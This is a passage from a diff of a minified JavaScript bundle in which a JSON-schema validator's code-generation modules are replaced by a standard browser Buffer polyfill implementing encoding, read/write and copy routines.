o8--) { + for (var f9 = true, l8 = 0; l8 < p8; l8++) + if (c8(e12, o8 + l8) !== c8(t10, l8)) { + f9 = false; + break; + } + if (f9) + return o8; + } + return -1; + } + function b8(e12, t10, i9, n9) { + i9 = Number(i9) || 0; + var r9 = e12.length - i9; + n9 ? (n9 = Number(n9)) > r9 && (n9 = r9) : n9 = r9; + var o8 = t10.length; + n9 > o8 / 2 && (n9 = o8 / 2); + for (var s8 = 0; s8 < n9; ++s8) { + var a8 = parseInt(t10.substr(2 * s8, 2), 16); + if (U6(a8)) + return s8; + e12[i9 + s8] = a8; } - _endBlockNode(e12, t10) { - const i9 = this._currNode; - if (i9 instanceof e12 || t10 && i9 instanceof t10) - return this._nodes.pop(), this; - throw new Error(`CodeGen: not in block "${t10 ? `${e12.kind}/${t10.kind}` : e12.kind}"`); + return s8; + } + function v8(e12, t10, i9, n9) { + return N6(C6(t10, e12.length - i9), e12, i9, n9); + } + function j6(e12, t10, i9, n9) { + return N6(function(e13) { + for (var t11 = [], i10 = 0; i10 < e13.length; ++i10) + t11.push(255 & e13.charCodeAt(i10)); + return t11; + }(t10), e12, i9, n9); + } + function $5(e12, t10, i9, n9) { + return j6(e12, t10, i9, n9); + } + function x7(e12, t10, i9, n9) { + return N6(V5(t10), e12, i9, n9); + } + function _6(e12, t10, i9, n9) { + return N6(function(e13, t11) { + for (var i10, n10, r9, o8 = [], s8 = 0; s8 < e13.length && !((t11 -= 2) < 0); ++s8) + n10 = (i10 = e13.charCodeAt(s8)) >> 8, r9 = i10 % 256, o8.push(r9), o8.push(n10); + return o8; + }(t10, e12.length - i9), e12, i9, n9); + } + function w6(e12, t10, i9) { + return 0 === t10 && i9 === e12.length ? n8.fromByteArray(e12) : n8.fromByteArray(e12.slice(t10, i9)); + } + function S6(e12, t10, i9) { + i9 = Math.min(e12.length, i9); + for (var n9 = [], r9 = t10; r9 < i9; ) { + var o8, s8, a8, p8, c8 = e12[r9], d8 = null, f9 = c8 > 239 ? 4 : c8 > 223 ? 3 : c8 > 191 ? 2 : 1; + if (r9 + f9 <= i9) + switch (f9) { + case 1: + c8 < 128 && (d8 = c8); + break; + case 2: + 128 == (192 & (o8 = e12[r9 + 1])) && (p8 = (31 & c8) << 6 | 63 & o8) > 127 && (d8 = p8); + break; + case 3: + o8 = e12[r9 + 1], s8 = e12[r9 + 2], 128 == (192 & o8) && 128 == (192 & s8) && (p8 = (15 & c8) << 12 | (63 & o8) << 6 | 63 & s8) > 2047 && (p8 < 55296 || p8 > 57343) && (d8 = p8); + break; + case 4: + o8 = e12[r9 + 1], s8 = e12[r9 + 2], a8 = e12[r9 + 3], 128 == (192 & o8) && 128 == (192 & s8) && 128 == (192 & a8) && (p8 = (15 & c8) << 18 | (63 & o8) << 12 | (63 & s8) << 6 | 63 & a8) > 65535 && p8 < 1114112 && (d8 = p8); + } + null === d8 ? (d8 = 65533, f9 = 1) : d8 > 65535 && (d8 -= 65536, n9.push(d8 >>> 10 & 1023 | 55296), d8 = 56320 | 1023 & d8), n9.push(d8), r9 += f9; } - _elseNode(e12) { - const t10 = this._currNode; - if (!(t10 instanceof v8)) - throw new Error('CodeGen: "else" without "if"'); - return this._currNode = t10.else = e12, this; + return function(e13) { + var t11 = e13.length; + if (t11 <= P6) + return String.fromCharCode.apply(String, e13); + for (var i10 = "", n10 = 0; n10 < t11; ) + i10 += String.fromCharCode.apply(String, e13.slice(n10, n10 += P6)); + return i10; + }(n9); + } + a7.TYPED_ARRAY_SUPPORT = function() { + try { + var e12 = new Uint8Array(1); + return e12.__proto__ = { __proto__: Uint8Array.prototype, foo: function() { + return 42; + } }, 42 === e12.foo(); + } catch (e13) { + return false; } - get _root() { - return this._nodes[0]; + }(), a7.TYPED_ARRAY_SUPPORT || "undefined" == typeof console || "function" != typeof console.error || console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support."), Object.defineProperty(a7.prototype, "parent", { enumerable: true, get: function() { + if (a7.isBuffer(this)) + return this.buffer; + } }), Object.defineProperty(a7.prototype, "offset", { enumerable: true, get: function() { + if (a7.isBuffer(this)) + return this.byteOffset; + } }), "undefined" != typeof Symbol && null != Symbol.species && a7[Symbol.species] === a7 && Object.defineProperty(a7, Symbol.species, { value: null, configurable: true, enumerable: false, writable: false }), a7.poolSize = 8192, a7.from = function(e12, t10, i9) { + return p7(e12, t10, i9); + }, a7.prototype.__proto__ = Uint8Array.prototype, a7.__proto__ = Uint8Array, a7.alloc = function(e12, t10, i9) { + return function(e13, t11, i10) { + return c7(e13), e13 <= 0 ? s7(e13) : void 0 !== t11 ? "string" == typeof i10 ? s7(e13).fill(t11, i10) : s7(e13).fill(t11) : s7(e13); + }(e12, t10, i9); + }, a7.allocUnsafe = function(e12) { + return d7(e12); + }, a7.allocUnsafeSlow = function(e12) { + return d7(e12); + }, a7.isBuffer = function(e12) { + return null != e12 && true === e12._isBuffer && e12 !== a7.prototype; + }, a7.compare = function(e12, t10) { + if (F6(e12, Uint8Array) && (e12 = a7.from(e12, e12.offset, e12.byteLength)), F6(t10, Uint8Array) && (t10 = a7.from(t10, t10.offset, t10.byteLength)), !a7.isBuffer(e12) || !a7.isBuffer(t10)) + throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array'); + if (e12 === t10) + return 0; + for (var i9 = e12.length, n9 = t10.length, r9 = 0, o8 = Math.min(i9, n9); r9 < o8; ++r9) + if (e12[r9] !== t10[r9]) { + i9 = e12[r9], n9 = t10[r9]; + break; + } + return i9 < n9 ? -1 : n9 < i9 ? 1 : 0; + }, a7.isEncoding = function(e12) { + switch (String(e12).toLowerCase()) { + case "hex": + case "utf8": + case "utf-8": + case "ascii": + case "latin1": + case "binary": + case "base64": + case "ucs2": + case "ucs-2": + case "utf16le": + case "utf-16le": + return true; + default: + return false; } - get _currNode() { - const e12 = this._nodes; - return e12[e12.length - 1]; + }, a7.concat = function(e12, t10) { + if (!Array.isArray(e12)) + throw new TypeError('"list" argument must be an Array of Buffers'); + if (0 === e12.length) + return a7.alloc(0); + var i9; + if (void 0 === t10) + for (t10 = 0, i9 = 0; i9 < e12.length; ++i9) + t10 += e12[i9].length; + var n9 = a7.allocUnsafe(t10), r9 = 0; + for (i9 = 0; i9 < e12.length; ++i9) { + var o8 = e12[i9]; + if (F6(o8, Uint8Array) && (o8 = a7.from(o8)), !a7.isBuffer(o8)) + throw new TypeError('"list" argument must be an Array of Buffers'); + o8.copy(n9, r9), r9 += o8.length; } - set _currNode(e12) { - const t10 = this._nodes; - t10[t10.length - 1] = e12; + return n9; + }, a7.byteLength = u7, a7.prototype._isBuffer = true, a7.prototype.swap16 = function() { + var e12 = this.length; + if (e12 % 2 != 0) + throw new RangeError("Buffer size must be a multiple of 16-bits"); + for (var t10 = 0; t10 < e12; t10 += 2) + h8(this, t10, t10 + 1); + return this; + }, a7.prototype.swap32 = function() { + var e12 = this.length; + if (e12 % 4 != 0) + throw new RangeError("Buffer size must be a multiple of 32-bits"); + for (var t10 = 0; t10 < e12; t10 += 4) + h8(this, t10, t10 + 3), h8(this, t10 + 1, t10 + 2); + return this; + }, a7.prototype.swap64 = function() { + var e12 = this.length; + if (e12 % 8 != 0) + throw new RangeError("Buffer size must be a multiple of 64-bits"); + for (var t10 = 0; t10 < e12; t10 += 8) + h8(this, t10, t10 + 7), h8(this, t10 + 1, t10 + 6), h8(this, t10 + 2, t10 + 5), h8(this, t10 + 3, t10 + 4); + return this; + }, a7.prototype.toString = function() { + var e12 = this.length; + return 0 === e12 ? "" : 0 === arguments.length ? S6(this, 0, e12) : m7.apply(this, arguments); + }, a7.prototype.toLocaleString = a7.prototype.toString, a7.prototype.equals = function(e12) { + if (!a7.isBuffer(e12)) + throw new TypeError("Argument must be a Buffer"); + return this === e12 || 0 === a7.compare(this, e12); + }, a7.prototype.inspect = function() { + var e12 = "", i9 = t9.IS; + return e12 = this.toString("hex", 0, i9).replace(/(.{2})/g, "$1 ").trim(), this.length > i9 && (e12 += " ... "), ""; + }, a7.prototype.compare = function(e12, t10, i9, n9, r9) { + if (F6(e12, Uint8Array) && (e12 = a7.from(e12, e12.offset, e12.byteLength)), !a7.isBuffer(e12)) + throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type ' + typeof e12); + if (void 0 === t10 && (t10 = 0), void 0 === i9 && (i9 = e12 ? e12.length : 0), void 0 === n9 && (n9 = 0), void 0 === r9 && (r9 = this.length), t10 < 0 || i9 > e12.length || n9 < 0 || r9 > this.length) + throw new RangeError("out of range index"); + if (n9 >= r9 && t10 >= i9) + return 0; + if (n9 >= r9) + return -1; + if (t10 >= i9) + return 1; + if (this === e12) + return 0; + for (var o8 = (r9 >>>= 0) - (n9 >>>= 0), s8 = (i9 >>>= 0) - (t10 >>>= 0), p8 = Math.min(o8, s8), c8 = this.slice(n9, r9), d8 = e12.slice(t10, i9), f9 = 0; f9 < p8; ++f9) + if (c8[f9] !== d8[f9]) { + o8 = c8[f9], s8 = d8[f9]; + break; + } + return o8 < s8 ? -1 : s8 < o8 ? 1 : 0; + }, a7.prototype.includes = function(e12, t10, i9) { + return -1 !== this.indexOf(e12, t10, i9); + }, a7.prototype.indexOf = function(e12, t10, i9) { + return y7(this, e12, t10, i9, true); + }, a7.prototype.lastIndexOf = function(e12, t10, i9) { + return y7(this, e12, t10, i9, false); + }, a7.prototype.write = function(e12, t10, i9, n9) { + if (void 0 === t10) + n9 = "utf8", i9 = this.length, t10 = 0; + else if (void 0 === i9 && "string" == typeof t10) + n9 = t10, i9 = this.length, t10 = 0; + else { + if (!isFinite(t10)) + throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported"); + t10 >>>= 0, isFinite(i9) ? (i9 >>>= 0, void 0 === n9 && (n9 = "utf8")) : (n9 = i9, i9 = void 0); } - }, t9.not = k6; - const M6 = D6(t9.operators.AND); - t9.and = function(...e12) { - return e12.reduce(M6); + var r9 = this.length - t10; + if ((void 0 === i9 || i9 > r9) && (i9 = r9), e12.length > 0 && (i9 < 0 || t10 < 0) || t10 > this.length) + throw new RangeError("Attempt to write outside buffer bounds"); + n9 || (n9 = "utf8"); + for (var o8 = false; ; ) + switch (n9) { + case "hex": + return b8(this, e12, t10, i9); + case "utf8": + case "utf-8": + return v8(this, e12, t10, i9); + case "ascii": + return j6(this, e12, t10, i9); + case "latin1": + case "binary": + return $5(this, e12, t10, i9); + case "base64": + return x7(this, e12, t10, i9); + case "ucs2": + case "ucs-2": + case "utf16le": + case "utf-16le": + return _6(this, e12, t10, i9); + default: + if (o8) + throw new TypeError("Unknown encoding: " + n9); + n9 = ("" + n9).toLowerCase(), o8 = true; + } + }, a7.prototype.toJSON = function() { + return { type: "Buffer", data: Array.prototype.slice.call(this._arr || this, 0) }; }; - const R6 = D6(t9.operators.OR); - function D6(e12) { - return (t10, i9) => t10 === n8.nil ? i9 : i9 === n8.nil ? t10 : n8._`${C6(t10)} ${e12} ${C6(i9)}`; + var P6 = 4096; + function O7(e12, t10, i9) { + var n9 = ""; + i9 = Math.min(e12.length, i9); + for (var r9 = t10; r9 < i9; ++r9) + n9 += String.fromCharCode(127 & e12[r9]); + return n9; } - function C6(e12) { - return e12 instanceof n8.Name ? e12 : n8._`(${e12})`; + function T6(e12, t10, i9) { + var n9 = ""; + i9 = Math.min(e12.length, i9); + for (var r9 = t10; r9 < i9; ++r9) + n9 += String.fromCharCode(e12[r9]); + return n9; } - t9.or = function(...e12) { - return e12.reduce(R6); - }; - }, 76930: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.ValueScope = t9.ValueScopeName = t9.Scope = t9.varKinds = t9.UsedValueState = void 0; - const n8 = i8(83277); - class r8 extends Error { - constructor(e12) { - super(`CodeGen: "code" for ${e12} not defined`), this.value = e12.value; - } + function A6(e12, t10, i9) { + var n9, r9 = e12.length; + (!t10 || t10 < 0) && (t10 = 0), (!i9 || i9 < 0 || i9 > r9) && (i9 = r9); + for (var o8 = "", s8 = t10; s8 < i9; ++s8) + o8 += (n9 = e12[s8]) < 16 ? "0" + n9.toString(16) : n9.toString(16); + return o8; } - var o7; - !function(e12) { - e12[e12.Started = 0] = "Started", e12[e12.Completed = 1] = "Completed"; - }(o7 || (t9.UsedValueState = o7 = {})), t9.varKinds = { const: new n8.Name("const"), let: new n8.Name("let"), var: new n8.Name("var") }; - class s7 { - constructor({ prefixes: e12, parent: t10 } = {}) { - this._names = {}, this._prefixes = e12, this._parent = t10; - } - toName(e12) { - return e12 instanceof n8.Name ? e12 : this.name(e12); - } - name(e12) { - return new n8.Name(this._newName(e12)); - } - _newName(e12) { - return `${e12}${(this._names[e12] || this._nameGroup(e12)).index++}`; - } - _nameGroup(e12) { - var t10, i9; - if ((null === (i9 = null === (t10 = this._parent) || void 0 === t10 ? void 0 : t10._prefixes) || void 0 === i9 ? void 0 : i9.has(e12)) || this._prefixes && !this._prefixes.has(e12)) - throw new Error(`CodeGen: prefix "${e12}" is not allowed in this scope`); - return this._names[e12] = { prefix: e12, index: 0 }; - } + function I6(e12, t10, i9) { + for (var n9 = e12.slice(t10, i9), r9 = "", o8 = 0; o8 < n9.length; o8 += 2) + r9 += String.fromCharCode(n9[o8] + 256 * n9[o8 + 1]); + return r9; } - t9.Scope = s7; - class a7 extends n8.Name { - constructor(e12, t10) { - super(t10), this.prefix = e12; - } - setValue(e12, { property: t10, itemIndex: i9 }) { - this.value = e12, this.scopePath = n8._`.${new n8.Name(t10)}[${i9}]`; - } + function E6(e12, t10, i9) { + if (e12 % 1 != 0 || e12 < 0) + throw new RangeError("offset is not uint"); + if (e12 + t10 > i9) + throw new RangeError("Trying to access beyond buffer length"); } - t9.ValueScopeName = a7; - const p7 = n8._`\n`; - t9.ValueScope = class extends s7 { - constructor(e12) { - super(e12), this._values = {}, this._scope = e12.scope, this.opts = { ...e12, _n: e12.lines ? p7 : n8.nil }; - } - get() { - return this._scope; - } - name(e12) { - return new a7(e12, this._newName(e12)); - } - value(e12, t10) { - var i9; - if (void 0 === t10.ref) - throw new Error("CodeGen: ref must be passed in value"); - const n9 = this.toName(e12), { prefix: r9 } = n9, o8 = null !== (i9 = t10.key) && void 0 !== i9 ? i9 : t10.ref; - let s8 = this._values[r9]; - if (s8) { - const e13 = s8.get(o8); - if (e13) - return e13; - } else - s8 = this._values[r9] = /* @__PURE__ */ new Map(); - s8.set(o8, n9); - const a8 = this._scope[r9] || (this._scope[r9] = []), p8 = a8.length; - return a8[p8] = t10.ref, n9.setValue(t10, { property: r9, itemIndex: p8 }), n9; - } - getValue(e12, t10) { - const i9 = this._values[e12]; - if (i9) - return i9.get(t10); + function q5(e12, t10, i9, n9, r9, o8) { + if (!a7.isBuffer(e12)) + throw new TypeError('"buffer" argument must be a Buffer instance'); + if (t10 > r9 || t10 < o8) + throw new RangeError('"value" argument is out of bounds'); + if (i9 + n9 > e12.length) + throw new RangeError("Index out of range"); + } + function k6(e12, t10, i9, n9, r9, o8) { + if (i9 + n9 > e12.length) + throw new RangeError("Index out of range"); + if (i9 < 0) + throw new RangeError("Index out of range"); + } + function M6(e12, t10, i9, n9, o8) { + return t10 = +t10, i9 >>>= 0, o8 || k6(e12, 0, i9, 4), r8.write(e12, t10, i9, n9, 23, 4), i9 + 4; + } + function R6(e12, t10, i9, n9, o8) { + return t10 = +t10, i9 >>>= 0, o8 || k6(e12, 0, i9, 8), r8.write(e12, t10, i9, n9, 52, 8), i9 + 8; + } + a7.prototype.slice = function(e12, t10) { + var i9 = this.length; + (e12 = ~~e12) < 0 ? (e12 += i9) < 0 && (e12 = 0) : e12 > i9 && (e12 = i9), (t10 = void 0 === t10 ? i9 : ~~t10) < 0 ? (t10 += i9) < 0 && (t10 = 0) : t10 > i9 && (t10 = i9), t10 < e12 && (t10 = e12); + var n9 = this.subarray(e12, t10); + return n9.__proto__ = a7.prototype, n9; + }, a7.prototype.readUIntLE = function(e12, t10, i9) { + e12 >>>= 0, t10 >>>= 0, i9 || E6(e12, t10, this.length); + for (var n9 = this[e12], r9 = 1, o8 = 0; ++o8 < t10 && (r9 *= 256); ) + n9 += this[e12 + o8] * r9; + return n9; + }, a7.prototype.readUIntBE = function(e12, t10, i9) { + e12 >>>= 0, t10 >>>= 0, i9 || E6(e12, t10, this.length); + for (var n9 = this[e12 + --t10], r9 = 1; t10 > 0 && (r9 *= 256); ) + n9 += this[e12 + --t10] * r9; + return n9; + }, a7.prototype.readUInt8 = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 1, this.length), this[e12]; + }, a7.prototype.readUInt16LE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 2, this.length), this[e12] | this[e12 + 1] << 8; + }, a7.prototype.readUInt16BE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 2, this.length), this[e12] << 8 | this[e12 + 1]; + }, a7.prototype.readUInt32LE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 4, this.length), (this[e12] | this[e12 + 1] << 8 | this[e12 + 2] << 16) + 16777216 * this[e12 + 3]; + }, a7.prototype.readUInt32BE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 4, this.length), 16777216 * this[e12] + (this[e12 + 1] << 16 | this[e12 + 2] << 8 | this[e12 + 3]); + }, a7.prototype.readIntLE = function(e12, t10, i9) { + e12 >>>= 0, t10 >>>= 0, i9 || E6(e12, t10, this.length); + for (var n9 = this[e12], r9 = 1, o8 = 0; ++o8 < t10 && (r9 *= 256); ) + n9 += this[e12 + o8] * r9; + return n9 >= (r9 *= 128) && (n9 -= Math.pow(2, 8 * t10)), n9; + }, a7.prototype.readIntBE = function(e12, t10, i9) { + e12 >>>= 0, t10 >>>= 0, i9 || E6(e12, t10, this.length); + for (var n9 = t10, r9 = 1, o8 = this[e12 + --n9]; n9 > 0 && (r9 *= 256); ) + o8 += this[e12 + --n9] * r9; + return o8 >= (r9 *= 128) && (o8 -= Math.pow(2, 8 * t10)), o8; + }, a7.prototype.readInt8 = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 1, this.length), 128 & this[e12] ? -1 * (255 - this[e12] + 1) : this[e12]; + }, a7.prototype.readInt16LE = function(e12, t10) { + e12 >>>= 0, t10 || E6(e12, 2, this.length); + var i9 = this[e12] | this[e12 + 1] << 8; + return 32768 & i9 ? 4294901760 | i9 : i9; + }, a7.prototype.readInt16BE = function(e12, t10) { + e12 >>>= 0, t10 || E6(e12, 2, this.length); + var i9 = this[e12 + 1] | this[e12] << 8; + return 32768 & i9 ? 4294901760 | i9 : i9; + }, a7.prototype.readInt32LE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 4, this.length), this[e12] | this[e12 + 1] << 8 | this[e12 + 2] << 16 | this[e12 + 3] << 24; + }, a7.prototype.readInt32BE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 4, this.length), this[e12] << 24 | this[e12 + 1] << 16 | this[e12 + 2] << 8 | this[e12 + 3]; + }, a7.prototype.readFloatLE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 4, this.length), r8.read(this, e12, true, 23, 4); + }, a7.prototype.readFloatBE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 4, this.length), r8.read(this, e12, false, 23, 4); + }, a7.prototype.readDoubleLE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 8, this.length), r8.read(this, e12, true, 52, 8); + }, a7.prototype.readDoubleBE = function(e12, t10) { + return e12 >>>= 0, t10 || E6(e12, 8, this.length), r8.read(this, e12, false, 52, 8); + }, a7.prototype.writeUIntLE = function(e12, t10, i9, n9) { + e12 = +e12, t10 >>>= 0, i9 >>>= 0, n9 || q5(this, e12, t10, i9, Math.pow(2, 8 * i9) - 1, 0); + var r9 = 1, o8 = 0; + for (this[t10] = 255 & e12; ++o8 < i9 && (r9 *= 256); ) + this[t10 + o8] = e12 / r9 & 255; + return t10 + i9; + }, a7.prototype.writeUIntBE = function(e12, t10, i9, n9) { + e12 = +e12, t10 >>>= 0, i9 >>>= 0, n9 || q5(this, e12, t10, i9, Math.pow(2, 8 * i9) - 1, 0); + var r9 = i9 - 1, o8 = 1; + for (this[t10 + r9] = 255 & e12; --r9 >= 0 && (o8 *= 256); ) + this[t10 + r9] = e12 / o8 & 255; + return t10 + i9; + }, a7.prototype.writeUInt8 = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 1, 255, 0), this[t10] = 255 & e12, t10 + 1; + }, a7.prototype.writeUInt16LE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 2, 65535, 0), this[t10] = 255 & e12, this[t10 + 1] = e12 >>> 8, t10 + 2; + }, a7.prototype.writeUInt16BE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 2, 65535, 0), this[t10] = e12 >>> 8, this[t10 + 1] = 255 & e12, t10 + 2; + }, a7.prototype.writeUInt32LE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 4, 4294967295, 0), this[t10 + 3] = e12 >>> 24, this[t10 + 2] = e12 >>> 16, this[t10 + 1] = e12 >>> 8, this[t10] = 255 & e12, t10 + 4; + }, a7.prototype.writeUInt32BE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 4, 4294967295, 0), this[t10] = e12 >>> 24, this[t10 + 1] = e12 >>> 16, this[t10 + 2] = e12 >>> 8, this[t10 + 3] = 255 & e12, t10 + 4; + }, a7.prototype.writeIntLE = function(e12, t10, i9, n9) { + if (e12 = +e12, t10 >>>= 0, !n9) { + var r9 = Math.pow(2, 8 * i9 - 1); + q5(this, e12, t10, i9, r9 - 1, -r9); } - scopeRefs(e12, t10 = this._values) { - return this._reduceValues(t10, (t11) => { - if (void 0 === t11.scopePath) - throw new Error(`CodeGen: name "${t11}" has no value`); - return n8._`${e12}${t11.scopePath}`; - }); + var o8 = 0, s8 = 1, a8 = 0; + for (this[t10] = 255 & e12; ++o8 < i9 && (s8 *= 256); ) + e12 < 0 && 0 === a8 && 0 !== this[t10 + o8 - 1] && (a8 = 1), this[t10 + o8] = (e12 / s8 | 0) - a8 & 255; + return t10 + i9; + }, a7.prototype.writeIntBE = function(e12, t10, i9, n9) { + if (e12 = +e12, t10 >>>= 0, !n9) { + var r9 = Math.pow(2, 8 * i9 - 1); + q5(this, e12, t10, i9, r9 - 1, -r9); } - scopeCode(e12 = this._values, t10, i9) { - return this._reduceValues(e12, (e13) => { - if (void 0 === e13.value) - throw new Error(`CodeGen: name "${e13}" has no value`); - return e13.value.code; - }, t10, i9); + var o8 = i9 - 1, s8 = 1, a8 = 0; + for (this[t10 + o8] = 255 & e12; --o8 >= 0 && (s8 *= 256); ) + e12 < 0 && 0 === a8 && 0 !== this[t10 + o8 + 1] && (a8 = 1), this[t10 + o8] = (e12 / s8 | 0) - a8 & 255; + return t10 + i9; + }, a7.prototype.writeInt8 = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 1, 127, -128), e12 < 0 && (e12 = 255 + e12 + 1), this[t10] = 255 & e12, t10 + 1; + }, a7.prototype.writeInt16LE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 2, 32767, -32768), this[t10] = 255 & e12, this[t10 + 1] = e12 >>> 8, t10 + 2; + }, a7.prototype.writeInt16BE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 2, 32767, -32768), this[t10] = e12 >>> 8, this[t10 + 1] = 255 & e12, t10 + 2; + }, a7.prototype.writeInt32LE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 4, 2147483647, -2147483648), this[t10] = 255 & e12, this[t10 + 1] = e12 >>> 8, this[t10 + 2] = e12 >>> 16, this[t10 + 3] = e12 >>> 24, t10 + 4; + }, a7.prototype.writeInt32BE = function(e12, t10, i9) { + return e12 = +e12, t10 >>>= 0, i9 || q5(this, e12, t10, 4, 2147483647, -2147483648), e12 < 0 && (e12 = 4294967295 + e12 + 1), this[t10] = e12 >>> 24, this[t10 + 1] = e12 >>> 16, this[t10 + 2] = e12 >>> 8, this[t10 + 3] = 255 & e12, t10 + 4; + }, a7.prototype.writeFloatLE = function(e12, t10, i9) { + return M6(this, e12, t10, true, i9); + }, a7.prototype.writeFloatBE = function(e12, t10, i9) { + return M6(this, e12, t10, false, i9); + }, a7.prototype.writeDoubleLE = function(e12, t10, i9) { + return R6(this, e12, t10, true, i9); + }, a7.prototype.writeDoubleBE = function(e12, t10, i9) { + return R6(this, e12, t10, false, i9); + }, a7.prototype.copy = function(e12, t10, i9, n9) { + if (!a7.isBuffer(e12)) + throw new TypeError("argument should be a Buffer"); + if (i9 || (i9 = 0), n9 || 0 === n9 || (n9 = this.length), t10 >= e12.length && (t10 = e12.length), t10 || (t10 = 0), n9 > 0 && n9 < i9 && (n9 = i9), n9 === i9) + return 0; + if (0 === e12.length || 0 === this.length) + return 0; + if (t10 < 0) + throw new RangeError("targetStart out of bounds"); + if (i9 < 0 || i9 >= this.length) + throw new RangeError("Index out of range"); + if (n9 < 0) + throw new RangeError("sourceEnd out of bounds"); + n9 > this.length && (n9 = this.length), e12.length - t10 < n9 - i9 && (n9 = e12.length - t10 + i9); + var r9 = n9 - i9; + if (this === e12 && "function" == typeof Uint8Array.prototype.copyWithin) + this.copyWithin(t10, i9, n9); + else if (this === e12 && i9 < t10 && t10 < n9) + for (var o8 = r9 - 1; o8 >= 0; --o8) + e12[o8 + t10] = this[o8 + i9]; + else + Uint8Array.prototype.set.call(e12, this.subarray(i9, n9), t10); + return r9; + }, a7.prototype.fill = function(e12, t10, i9, n9) { + if ("string" == typeof e12) { + if ("string" == typeof t10 ? (n9 = t10, t10 = 0, i9 = this.length) : "string" == typeof i9 && (n9 = i9, i9 = this.length), void 0 !== n9 && "string" != typeof n9) + throw new TypeError("encoding must be a string"); + if ("string" == typeof n9 && !a7.isEncoding(n9)) + throw new TypeError("Unknown encoding: " + n9); + if (1 === e12.length) { + var r9 = e12.charCodeAt(0); + ("utf8" === n9 && r9 < 128 || "latin1" === n9) && (e12 = r9); + } + } else + "number" == typeof e12 && (e12 &= 255); + if (t10 < 0 || this.length < t10 || this.length < i9) + throw new RangeError("Out of range index"); + if (i9 <= t10) + return this; + var o8; + if (t10 >>>= 0, i9 = void 0 === i9 ? this.length : i9 >>> 0, e12 || (e12 = 0), "number" == typeof e12) + for (o8 = t10; o8 < i9; ++o8) + this[o8] = e12; + else { + var s8 = a7.isBuffer(e12) ? e12 : a7.from(e12, n9), p8 = s8.length; + if (0 === p8) + throw new TypeError('The value "' + e12 + '" is invalid for argument "value"'); + for (o8 = 0; o8 < i9 - t10; ++o8) + this[o8 + t10] = s8[o8 % p8]; } - _reduceValues(e12, i9, s8 = {}, a8) { - let p8 = n8.nil; - for (const c7 in e12) { - const d7 = e12[c7]; - if (!d7) - continue; - const f8 = s8[c7] = s8[c7] || /* @__PURE__ */ new Map(); - d7.forEach((e13) => { - if (f8.has(e13)) - return; - f8.set(e13, o7.Started); - let s9 = i9(e13); - if (s9) { - const i10 = this.opts.es5 ? t9.varKinds.var : t9.varKinds.const; - p8 = n8._`${p8}${i10} ${e13} = ${s9};${this.opts._n}`; - } else { - if (!(s9 = null == a8 ? void 0 : a8(e13))) - throw new r8(e13); - p8 = n8._`${p8}${s9}${this.opts._n}`; + return this; + }; + var D6 = /[^+/0-9A-Za-z-_]/g; + function C6(e12, t10) { + var i9; + t10 = t10 || 1 / 0; + for (var n9 = e12.length, r9 = null, o8 = [], s8 = 0; s8 < n9; ++s8) { + if ((i9 = e12.charCodeAt(s8)) > 55295 && i9 < 57344) { + if (!r9) { + if (i9 > 56319) { + (t10 -= 3) > -1 && o8.push(239, 191, 189); + continue; } - f8.set(e13, o7.Completed); - }); + if (s8 + 1 === n9) { + (t10 -= 3) > -1 && o8.push(239, 191, 189); + continue; + } + r9 = i9; + continue; + } + if (i9 < 56320) { + (t10 -= 3) > -1 && o8.push(239, 191, 189), r9 = i9; + continue; + } + i9 = 65536 + (r9 - 55296 << 10 | i9 - 56320); + } else + r9 && (t10 -= 3) > -1 && o8.push(239, 191, 189); + if (r9 = null, i9 < 128) { + if ((t10 -= 1) < 0) + break; + o8.push(i9); + } else if (i9 < 2048) { + if ((t10 -= 2) < 0) + break; + o8.push(i9 >> 6 | 192, 63 & i9 | 128); + } else if (i9 < 65536) { + if ((t10 -= 3) < 0) + break; + o8.push(i9 >> 12 | 224, i9 >> 6 & 63 | 128, 63 & i9 | 128); + } else { + if (!(i9 < 1114112)) + throw new Error("Invalid code point"); + if ((t10 -= 4) < 0) + break; + o8.push(i9 >> 18 | 240, i9 >> 12 & 63 | 128, i9 >> 6 & 63 | 128, 63 & i9 | 128); } - return p8; } - }; - }, 49409: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.extendErrors = t9.resetErrorsCount = t9.reportExtraError = t9.reportError = t9.keyword$DataError = t9.keywordError = void 0; - const n8 = i8(17898), r8 = i8(50458), o7 = i8(63036); - function s7(e12, t10) { - const i9 = e12.const("err", t10); - e12.if(n8._`${o7.default.vErrors} === null`, () => e12.assign(o7.default.vErrors, n8._`[${i9}]`), n8._`${o7.default.vErrors}.push(${i9})`), e12.code(n8._`${o7.default.errors}++`); + return o8; } - function a7(e12, t10) { - const { gen: i9, validateName: r9, schemaEnv: o8 } = e12; - o8.$async ? i9.throw(n8._`new ${e12.ValidationError}(${t10})`) : 